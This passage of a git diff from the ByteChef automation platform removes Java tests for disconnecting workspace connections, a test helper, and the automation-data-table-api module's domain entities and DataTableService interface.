-        List<ProjectDeploymentWorkflow> workflowsAfterDisconnect =
-            projectDeploymentWorkflowRepository.findAllByProjectDeploymentId(projectDeploymentDTO.id());
-
-        assertThat(workflowsAfterDisconnect).hasSize(1);
-        assertThat(workflowsAfterDisconnect.getFirst()
-            .getConnections()).isEmpty();
-    }
-
-    @Test
-    public void testDisconnectConnectionRemovesWorkflowTestConfigurationConnection() {
-        // Given - Create a workflow test configuration with a connection
-        long connectionId = 54321L;
-
-        WorkflowTestConfiguration testConfiguration = new WorkflowTestConfiguration();
-
-        testConfiguration.setEnvironmentId(1L);
-        testConfiguration.setWorkflowId("test-workflow-id");
-        testConfiguration.setConnections(
-            List.of(new WorkflowTestConfigurationConnection(connectionId, "connectionKey", "nodeName")));
-
-        workflowTestConfigurationRepository.save(testConfiguration);
-
-        // Verify the connection was added
-        List<WorkflowTestConfiguration> configurationsWithConnection = workflowTestConfigurationRepository.findAll();
-
-        assertThat(configurationsWithConnection).hasSize(1);
-        assertThat(configurationsWithConnection.getFirst()
-            .getConnections()).hasSize(1);
-        assertThat(configurationsWithConnection.getFirst()
-            .getConnections()
-            .getFirst()
-            .getConnectionId())
-                .isEqualTo(connectionId);
-
-        // When - Disconnect the connection
-        workspaceConnectionFacade.disconnectConnection(connectionId);
-
-        // Then - Verify the connection was removed from the workflow test configuration
-        List<WorkflowTestConfiguration> configurationsAfterDisconnect = workflowTestConfigurationRepository.findAll();
-
-        assertThat(configurationsAfterDisconnect).hasSize(1);
-        assertThat(configurationsAfterDisconnect.getFirst()
-            .getConnections()).isEmpty();
-    }
-
-    @Test
-    public void testDisconnectConnectionRemovesBothConnections() {
-        // Given - Create a project with deployment and workflow test configuration, both with the same connection
-        ProjectDTO projectDTO = projectDeploymentFacadeHelper.createProject(workspace.getId());
-
-        ProjectDeploymentDTO projectDeploymentDTO =
-            projectDeploymentFacadeHelper.createProjectDeployment(workspace.getId(), projectDTO);
-
-        // Get the project deployment workflow and add a connection
-        List<ProjectDeploymentWorkflow> workflows =
-            projectDeploymentWorkflowRepository.findAllByProjectDeploymentId(projectDeploymentDTO.id());
-
-        ProjectDeploymentWorkflow workflow = workflows.getFirst();
-
-        long connectionId = 99999L;
-
-        workflow.setConnections(
-            List.of(new ProjectDeploymentWorkflowConnection(connectionId, "connectionKey", "nodeName")));
-
-        projectDeploymentWorkflowRepository.save(workflow);
-
-        // Create a workflow test configuration with the same connection
-        WorkflowTestConfiguration testConfiguration = new WorkflowTestConfiguration();
-
-        testConfiguration.setEnvironmentId(1L);
-        testConfiguration.setWorkflowId("test-workflow-id");
-        testConfiguration.setConnections(
-            List.of(new WorkflowTestConfigurationConnection(connectionId, "connectionKey", "nodeName")));
-
-        workflowTestConfigurationRepository.save(testConfiguration);
-
-        // When - Disconnect the connection
-        workspaceConnectionFacade.disconnectConnection(connectionId);
-
-        // Then - Verify both connections were removed
-        List<ProjectDeploymentWorkflow> workflowsAfterDisconnect =
-            projectDeploymentWorkflowRepository.findAllByProjectDeploymentId(projectDeploymentDTO.id());
-
-        assertThat(workflowsAfterDisconnect.getFirst()
-            .getConnections()).isEmpty();
-
-        List<WorkflowTestConfiguration> configurationsAfterDisconnect = workflowTestConfigurationRepository.findAll();
-
-        assertThat(configurationsAfterDisconnect.getFirst()
-            .getConnections()).isEmpty();
-    }
-
-    @Test
-    public void testDisconnectConnectionWithNonExistentConnectionIdDoesNothing() {
-        // Given - No connections exist with this ID
-        long nonExistentConnectionId = 11111L;
-
-        // When - Disconnect a non-existent connection
-        workspaceConnectionFacade.disconnectConnection(nonExistentConnectionId);
-
-        // Then - No exception should be thrown (method completes successfully)
-    }
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/util/ProjectDeploymentFacadeHelper.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/util/ProjectDeploymentFacadeHelper.java
index 7c758299d50..48cc66bb561 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/util/ProjectDeploymentFacadeHelper.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/util/ProjectDeploymentFacadeHelper.java
@@ -123,40 +123,6 @@ public ProjectDeploymentDTO createProjectDeployment(long workspaceId, ProjectDTO
             projectDeploymentFacade.createProjectDeployment(projectDeploymentDTO));
     }
 
-    public ProjectDeploymentDTO createProjectDeploymentForEnvironment(
-        long workspaceId, ProjectDTO projectDTO, Environment environment) {
-
-        Project dbProject = projectRepository.findById(projectDTO.id())
-            .orElseThrow();
-
-        ProjectVersion lastPublishedVersion = dbProject.getProjectVersions()
-            .stream()
-            .filter(projectVersion -> projectVersion.getStatus() == ProjectVersion.Status.PUBLISHED)
-            .toList()
-            .getLast();
-
-        ProjectWorkflow projectWorkflow = projectWorkflowRepository.findAllByProjectIdAndProjectVersion(
-            projectDTO.id(), lastPublishedVersion.getVersion())
-            .stream()
-            .findFirst()
-            .orElseThrow();
-
-        ProjectDeploymentWorkflowDTO projectDeploymentWorkflowDTO =
-            new ProjectDeploymentWorkflowDTO(List.of(), null, null, Map.of(), true, null, null, null, null, null, null,
-                0, projectWorkflow.getWorkflowId(), projectWorkflow.getUuidAsString());
-
-        ProjectDeploymentDTO projectDeploymentDTO = ProjectDeploymentDTO.builder()
-            .projectId(projectDTO.id())
-            .name(PREFIX_PROJECT_DEPLOYMENT + environment.name())
-            .environment(environment)
-            .projectVersion(lastPublishedVersion.getVersion())
-            .projectDeploymentWorkflows(List.of(projectDeploymentWorkflowDTO))
-            .build();
-
-        return projectDeploymentFacade.getProjectDeployment(
-            projectDeploymentFacade.createProjectDeployment(projectDeploymentDTO));
-    }
-
     public ProjectWorkflowDTO addTestWorkflow(ProjectDTO projectDTO) {
         Project project = projectDTO.toProject();
 
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/build.gradle.kts b/server/libs/automation/automation-data-table/automation-data-table-api/build.gradle.kts
deleted file mode 100644
index df97fbcf9ce..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/build.gradle.kts
+++ /dev/null
@@ -1,8 +0,0 @@
-dependencies {
-    api("org.springframework.data:spring-data-commons")
-    api(project(":server:libs:platform:platform-configuration:platform-configuration-api"))
-    api(project(":server:libs:platform:platform-tag:platform-tag-api"))
-
-    implementation("org.springframework.data:spring-data-jdbc")
-    implementation(project(":server:libs:core:commons:commons-util"))
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTable.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTable.java
deleted file mode 100644
index 0c1e646fd2a..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTable.java
+++ /dev/null
@@ -1,196 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.domain;
-
-import com.bytechef.commons.util.CollectionUtils;
-import com.bytechef.platform.tag.domain.Tag;
-import java.time.Instant;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Objects;
-import java.util.Set;
-import org.springframework.data.annotation.CreatedBy;
-import org.springframework.data.annotation.CreatedDate;
-import org.springframework.data.annotation.Id;
-import org.springframework.data.annotation.LastModifiedBy;
-import org.springframework.data.annotation.LastModifiedDate;
-import org.springframework.data.annotation.Version;
-import org.springframework.data.relational.core.mapping.Column;
-import org.springframework.data.relational.core.mapping.MappedCollection;
-import org.springframework.data.relational.core.mapping.Table;
-
-/**
- * @author Ivica Cardic
- */
-@Table("data_table")
-public class DataTable {
-
-    @Id
-    private Long id;
-
-    private String name;
-
-    private String description;
-
-    @MappedCollection(idColumn = "data_table_id")
-    private Set<DataTableTag> dataTableTags = new HashSet<>();
-
-    @CreatedDate
-    @Column("created_date")
-    private Instant createdDate;
-
-    @CreatedBy
-    @Column("created_by")
-    private String createdBy;
-
-    @LastModifiedDate
-    @Column("last_modified_date")
-    private Instant lastModifiedDate;
-
-    @LastModifiedBy
-    @Column("last_modified_by")
-    private String lastModifiedBy;
-
-    @Version
-    private Long version;
-
-    public DataTable() {
-    }
-
-    public DataTable(Long id, String name) {
-        this.id = id;
-        this.name = name;
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (!(o instanceof DataTable dataTable)) {
-            return false;
-        }
-
-        return Objects.equals(id, dataTable.id);
-    }
-
-    @Override
-    public int hashCode() {
-        return getClass().hashCode();
-    }
-
-    public Long getId() {
-        return id;
-    }
-
-    public void setId(Long id) {
-        this.id = id;
-    }
-
-    public String getName() {
-        return name;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-
-    public String getDescription() {
-        return description;
-    }
-
-    public void setDescription(String description) {
-        this.description = description;
-    }
-
-    public Instant getCreatedDate() {
-        return createdDate;
-    }
-
-    public void setCreatedDate(Instant createdDate) {
-        this.createdDate = createdDate;
-    }
-
-    public String getCreatedBy() {
-        return createdBy;
-    }
-
-    public void setCreatedBy(String createdBy) {
-        this.createdBy = createdBy;
-    }
-
-    public Instant getLastModifiedDate() {
-        return lastModifiedDate;
-    }
-
-    public void setLastModifiedDate(Instant lastModifiedDate) {
-        this.lastModifiedDate = lastModifiedDate;
-    }
-
-    public String getLastModifiedBy() {
-        return lastModifiedBy;
-    }
-
-    public void setLastModifiedBy(String lastModifiedBy) {
-        this.lastModifiedBy = lastModifiedBy;
-    }
-
-    public Long getVersion() {
-        return version;
-    }
-
-    public void setVersion(Long version) {
-        this.version = version;
-    }
-
-    public List<Long> getTagIds() {
-        return dataTableTags
-            .stream()
-            .map(DataTableTag::getTagId)
-            .toList();
-    }
-
-    public void setTagIds(List<Long> tagIds) {
-        this.dataTableTags = new HashSet<>();
-
-        if (!CollectionUtils.isEmpty(tagIds)) {
-            for (long tagId : tagIds) {
-                dataTableTags.add(new DataTableTag(tagId));
-            }
-        }
-    }
-
-    public void setTags(List<Tag> tags) {
-        if (CollectionUtils.isEmpty(tags)) {
-            setTagIds(List.of());
-        } else {
-            setTagIds(CollectionUtils.map(tags, Tag::getId));
-        }
-    }
-
-    @Override
-    public String toString() {
-        return "DataTable{" +
-            "id=" + id +
-            ", name='" + name + '\'' +
-            ", description='" + description + '\'' +
-            ", dataTableTags=" + dataTableTags +
-            ", createdDate=" + createdDate +
-            ", createdBy='" + createdBy + '\'' +
-            ", lastModifiedDate=" + lastModifiedDate +
-            ", lastModifiedBy='" + lastModifiedBy + '\'' +
-            ", version=" + version +
-            '}';
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableInfo.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableInfo.java
deleted file mode 100644
index 6eb964cc32c..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableInfo.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.domain;
-
-import com.bytechef.automation.data.table.domain.ColumnSpec;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-import java.util.List;
-
-/**
- * Metadata description of a dynamic data table and its columns.
- *
- * @author Ivica Cardic
- */
-@SuppressFBWarnings("EI")
-public record DataTableInfo(
-    Long id, String baseName, String description, List<ColumnSpec> columns, Instant lastModifiedDate) {
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableTag.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableTag.java
deleted file mode 100644
index fc61f8f0393..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableTag.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.domain;
-
-import com.bytechef.platform.tag.domain.Tag;
-import java.util.Objects;
-import org.springframework.data.jdbc.core.mapping.AggregateReference;
-import org.springframework.data.relational.core.mapping.Column;
-import org.springframework.data.relational.core.mapping.Table;
-
-/**
- * @author Ivica Cardic
- */
-@Table("data_table_tag")
-public final class DataTableTag {
-
-    @Column("tag_id")
-    private AggregateReference<Tag, Long> tagId;
-
-    public DataTableTag() {
-    }
-
-    public DataTableTag(Long tagId) {
-        this.tagId = tagId == null ? null : AggregateReference.to(tagId);
-    }
-
-    public Long getTagId() {
-        return tagId == null ? null : tagId.getId();
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) {
-            return true;
-        }
-
-        if (!(o instanceof DataTableTag that)) {
-            return false;
-        }
-
-        return Objects.equals(tagId, that.tagId);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(tagId);
-    }
-
-    @Override
-    public String toString() {
-        return "DataTableTag{" +
-            "tagId=" + tagId +
-            '}';
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableWebhook.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableWebhook.java
deleted file mode 100644
index df030c0f120..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableWebhook.java
+++ /dev/null
@@ -1,182 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.domain;
-
-import com.bytechef.platform.configuration.domain.Environment;
-import java.time.Instant;
-import java.util.Objects;
-import org.springframework.data.annotation.CreatedBy;
-import org.springframework.data.annotation.CreatedDate;
-import org.springframework.data.annotation.Id;
-import org.springframework.data.annotation.LastModifiedBy;
-import org.springframework.data.annotation.LastModifiedDate;
-import org.springframework.data.annotation.Version;
-import org.springframework.data.relational.core.mapping.Column;
-import org.springframework.data.relational.core.mapping.Table;
-
-/**
- * @author Ivica Cardic
- */
-@Table("data_table_webhook")
-public class DataTableWebhook {
-
-    @Id
-    private Long id;
-
-    private String url;
-
-    @Column
-    private int type;
-
-    @Column("data_table_id")
-    private Long dataTableId;
-
-    @Column
-    private int environment;
-
-    @CreatedDate
-    @Column("created_date")
-    private Instant createdDate;
-
-    @CreatedBy
-    @Column("created_by")
-    private String createdBy;
-
-    @LastModifiedDate
-    @Column("last_modified_date")
-    private Instant lastModifiedDate;
-
-    @LastModifiedBy
-    @Column("last_modified_by")
-    private String lastModifiedBy;
-
-    @Version
-    private Long version;
-
-    public DataTableWebhook() {
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (!(o instanceof DataTableWebhook dataTableWebhook)) {
-            return false;
-        }
-
-        return Objects.equals(id, dataTableWebhook.id);
-    }
-
-    @Override
-    public int hashCode() {
-        return getClass().hashCode();
-    }
-
-    public Long getId() {
-        return id;
-    }
-
-    public void setId(Long id) {
-        this.id = id;
-    }
-
-    public String getUrl() {
-        return url;
-    }
-
-    public void setUrl(String url) {
-        this.url = url;
-    }
-
-    public DataTableWebhookType getType() {
-        return DataTableWebhookType.values()[type];
-    }
-
-    public void setType(DataTableWebhookType type) {
-        this.type = type.ordinal();
-    }
-
-    public Long getDataTableId() {
-        return dataTableId;
-    }
-
-    public void setDataTableId(Long dataTableId) {
-        this.dataTableId = dataTableId;
-    }
-
-    public Environment getEnvironment() {
-        return Environment.values()[environment];
-    }
-
-    public void setEnvironment(Environment environment) {
-        this.environment = environment.ordinal();
-    }
-
-    public Instant getCreatedDate() {
-        return createdDate;
-    }
-
-    public void setCreatedDate(Instant createdDate) {
-        this.createdDate = createdDate;
-    }
-
-    public String getCreatedBy() {
-        return createdBy;
-    }
-
-    public void setCreatedBy(String createdBy) {
-        this.createdBy = createdBy;
-    }
-
-    public Instant getLastModifiedDate() {
-        return lastModifiedDate;
-    }
-
-    public void setLastModifiedDate(Instant lastModifiedDate) {
-        this.lastModifiedDate = lastModifiedDate;
-    }
-
-    public String getLastModifiedBy() {
-        return lastModifiedBy;
-    }
-
-    public void setLastModifiedBy(String lastModifiedBy) {
-        this.lastModifiedBy = lastModifiedBy;
-    }
-
-    public Long getVersion() {
-        return version;
-    }
-
-    public void setVersion(Long version) {
-        this.version = version;
-    }
-
-    @Override
-    public String toString() {
-        return "DataTableWebhook{" +
-            "id=" + id +
-            ", url='" + url + '\'' +
-            ", type=" + type +
-            ", dataTableId=" + dataTableId +
-            ", environment=" + environment +
-            ", createdDate=" + createdDate +
-            ", createdBy='" + createdBy + '\'' +
-            ", lastModifiedDate=" + lastModifiedDate +
-            ", lastModifiedBy='" + lastModifiedBy + '\'' +
-            ", version=" + version +
-            '}';
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableWebhookType.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableWebhookType.java
deleted file mode 100644
index c0b27db1198..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/DataTableWebhookType.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.domain;
-
-/**
- * Webhook types for Data Table row events.
- *
- * @author Ivica Cardic
- */
-public enum DataTableWebhookType {
-
-    RECORD_CREATED,
-    RECORD_DELETED,
-    RECORD_UPDATED
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/WorkspaceDataTable.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/WorkspaceDataTable.java
deleted file mode 100644
index 4f348da69df..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/domain/WorkspaceDataTable.java
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.domain;
-
-import java.time.Instant;
-import java.util.Objects;
-import org.springframework.data.annotation.CreatedBy;
-import org.springframework.data.annotation.CreatedDate;
-import org.springframework.data.annotation.Id;
-import org.springframework.data.annotation.LastModifiedBy;
-import org.springframework.data.annotation.LastModifiedDate;
-import org.springframework.data.annotation.Version;
-import org.springframework.data.relational.core.mapping.Column;
-import org.springframework.data.relational.core.mapping.Table;
-
-/**
- * @author Ivica Cardic
- */
-@Table("workspace_data_table")
-public class WorkspaceDataTable {
-
-    @Column("data_table_id")
-    private Long dataTableId;
-
-    @CreatedBy
-    @Column("created_by")
-    private String createdBy;
-
-    @Column("created_date")
-    @CreatedDate
-    private Instant createdDate;
-
-    @Id
-    private Long id;
-
-    @Column("last_modified_by")
-    @LastModifiedBy
-    private String lastModifiedBy;
-
-    @Column("last_modified_date")
-    @LastModifiedDate
-    private Instant lastModifiedDate;
-
-    @Column("workspace_id")
-    private Long workspaceId;
-
-    @Version
-    private int version;
-
-    private WorkspaceDataTable() {
-    }
-
-    public WorkspaceDataTable(Long dataTableId, Long workspaceId) {
-        this.dataTableId = dataTableId;
-        this.workspaceId = workspaceId;
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) {
-            return true;
-        }
-
-        if (o == null || getClass() != o.getClass()) {
-            return false;
-        }
-
-        WorkspaceDataTable that = (WorkspaceDataTable) o;
-
-        return Objects.equals(id, that.id);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(id);
-    }
-
-    public Long getDataTableId() {
-        return dataTableId;
-    }
-
-    public String getCreatedBy() {
-        return createdBy;
-    }
-
-    public Instant getCreatedDate() {
-        return createdDate;
-    }
-
-    public Long getId() {
-        return id;
-    }
-
-    public String getLastModifiedBy() {
-        return lastModifiedBy;
-    }
-
-    public Instant getLastModifiedDate() {
-        return lastModifiedDate;
-    }
-
-    public Long getWorkspaceId() {
-        return workspaceId;
-    }
-
-    public int getVersion() {
-        return version;
-    }
-
-    @Override
-    public String toString() {
-        return "WorkspaceDataTable{" +
-            "id=" + id +
-            ", dataTableId=" + dataTableId +
-            ", workspaceId=" + workspaceId +
-            ", createdBy='" + createdBy + '\'' +
-            ", createdDate=" + createdDate +
-            ", lastModifiedBy='" + lastModifiedBy + '\'' +
-            ", lastModifiedDate=" + lastModifiedDate +
-            ", version=" + version +
-            '}';
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableService.java b/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableService.java
deleted file mode 100644
index 1ea7688ef5f..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-api/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableService.java
+++ /dev/null
@@ -1,195 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.service;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableInfo;
-import com.bytechef.automation.data.table.domain.ColumnSpec;
-import java.util.List;
-
-/**
- * Unified service for managing dynamic data tables and querying their metadata.
- *
- * <p>
- * Physical table names are constructed internally using the pattern: <code>dt_&lt;envIndex&gt;_&lt;baseName&gt;</code>,
- * where envIndex is mapped as DEVELOPMENT=0, STAGING=1, PRODUCTION=2.
- * </p>
- *
- * <p>
- * Callers must pass only the logical base table name (without any <code>dt_</code> prefix). Inputs starting with
- * <code>dt_</code> will be rejected.
- * </p>
- *
- * @author Ivica Cardic
- */
-public interface DataTableService {
-
-    /**
-     * Adds a new column to an existing dynamic data table in the specified environment.
-     *
-     * @param baseName      The logical base name of the table to which the column will be added. The name must not
-     *                      include a "dt_" prefix.
-     * @param columnSpec    The specification of the column to be added, including the column name and type.
-     * @param environmentId The target environment ID.
-     */
-    void addColumn(String baseName, ColumnSpec columnSpec, long environmentId);
-
-    /**
-     * Creates a new dynamic data table in the specified environment with the given base name and column specifications.
-     * The physical table name is derived internally based on the environment and base name.
-     *
-     * @param baseName      The logical base name of the table. The name must not include a "dt_" prefix, as it will be
-     *                      automatically added.
-     * @param columnSpecs   A list of column specifications defining the structure of the table, including column names
-     *                      and types. This list must be non-null and non-empty.
-     * @param environmentId The target environment where the table should be created (e.g., DEVELOPMENT, STAGING,
-     *                      PRODUCTION).
-     */
-    void createTable(String baseName, List<ColumnSpec> columnSpecs, long environmentId);
-
-    /**
-     * Creates a new dynamic data table in the specified environment with the given base name, description, and column
-     * specifications. The physical table name is derived internally based on the environment and base name.
-     *
-     * @param baseName      The logical base name of the table. The name must not include a "dt_" prefix, as it will be
-     *                      automatically added.
-     * @param description   A description for the table to provide additional metadata about its purpose. Must not be
-     *                      null or empty.
-     * @param columnSpecs   A list of column specifications defining the structure of the table, including column names
-     *                      and types. This list must be non-null and non-empty.
-     * @param environmentId The target environment where the table should be created (e.g., DEVELOPMENT, STAGING,
-     *                      PRODUCTION).
-     */
-    void createTable(String baseName, String description, List<ColumnSpec> columnSpecs, long environmentId);
-
-    /**
-     * Creates a new dynamic data table in the specified environment and workspace, with the given base name and column
-     * specifications. The physical table name is derived internally based on the environment, workspace ID, and base
-     * name.
-     *
-     * @param workspaceId   The identifier of the workspace within which the table should be created. Must be a valid
-     *                      non-negative ID.
-     * @param baseName      The logical base name of the table. The name must not include a "dt_" prefix, as it will be
-     *                      automatically added.
-     * @param columnSpecs   A list of column specifications defining the structure of the table, including column names
-     *                      and types. This list must be non-null and non-empty.
-     * @param environmentId The target environment where the table should be created (e.g., DEVELOPMENT, STAGING,
-     *                      PRODUCTION).
-     */
-    void createTable(long workspaceId, String baseName, List<ColumnSpec> columnSpecs, long environmentId);
-
-    /**
-     * Creates a new table in the specified workspace with the given parameters.
-     *
-     * @param baseName      The base name of the table to be created.
-     * @param description   A description of the table to provide additional context.
-     * @param columnSpecs   A list of column specifications that define the structure of the table.
-     * @param workspaceId   The unique identifier of the workspace where the table will be added.
-     * @param environmentId The environment in which the table will be created.
-     */
-    void createTable(
-        String baseName, String description, List<ColumnSpec> columnSpecs, long workspaceId, long environmentId);
-
-    /**
-     * Deletes a dynamic data table in the specified environment with the given base name. This action is irreversible
-     * and will permanently remove the table and its associated data.
-     *
-     * @param baseName      The logical base name of the table to be deleted. The name must not include a "dt_" prefix,
-     *                      as it is added internally.
-     * @param environmentId The target environmentID.
-     */
-    void dropTable(String baseName, long environmentId);
-
-    /**
-     * Duplicates an existing dynamic data table in the specified environment. The new table will have a different base
-     * name while preserving the structure
-     */
-    void duplicateTable(String fromBaseName, String toBaseName, long environmentId);
-
-    /**
-     * Retrieves the base name of a dynamic data table by its unique identifier.
-     *
-     * @param id The unique identifier of the data table.
-     * @return The base name of the data table corresponding to the given identifier. If no table is found for the
-     *         provided ID, the method may return null or an empty string.
-     */
-    String getBaseNameById(long id);
-
-    /**
-     * Retrieves the unique identifier of a dynamic data table based on its base name.
-     *
-     * @param baseName The logical base name of the data table. The base name should not include a "dt_" prefix, as it
-     *                 is internally managed by the service. Must not be null or empty.
-     * @return The unique identifier of the data table corresponding to the given base name. If no table is found with
-     *         the provided base name, the method may return -1 or a similar default value.
-     */
-    long getIdByBaseName(String baseName);
-
-    /**
-     * Retrieves a list of metadata for all dynamic data tables available in the specified environment.
-     *
-     * @param environmentId The target environment ID.
-     * @return A list of {@code DataTableInfo} objects representing the metadata of the tables in the environment. If no
-     *         tables exist, an empty list is returned.
-     */
-    List<DataTableInfo> listTables(long environmentId);
-
-    /**
-     * Retrieves a list of metadata for all dynamic data tables available in the specified environment and workspace.
-     *
-     * @param workspaceId   The identifier of the workspace within which to list the tables. Must be a valid
-     *                      non-negative ID.
-     * @param environmentId The target environment ID.
-     * @return A list of {@code DataTableInfo} objects representing the metadata of the tables in the specified
-     *         environment and workspace. If no tables exist, an empty list is returned.
-     */
-    List<DataTableInfo> listTables(long workspaceId, long environmentId);
-
-    /**
-     * Removes a column from an existing dynamic data table in the specified environment.
-     *
-     * @param baseName      The logical base name of the table from which the column will be removed. The name must not
-     *                      include a "dt_" prefix.
-     * @param columnName    The name of the column to be removed. This must match the existing column name in the table.
-     * @param environmentId The target environment ID.
-     */
-    void removeColumn(String baseName, String columnName, long environmentId);
-
-    /**
-     * Renames a column in an existing dynamic data table in the specified environment.
-     *
-     * @param baseName       The logical base name of the table containing the column to be renamed. The name must not
-     *                       include a "dt_" prefix.
-     * @param fromColumnName The current name of the column to be renamed. This must match the existing column name in
-     *                       the table.
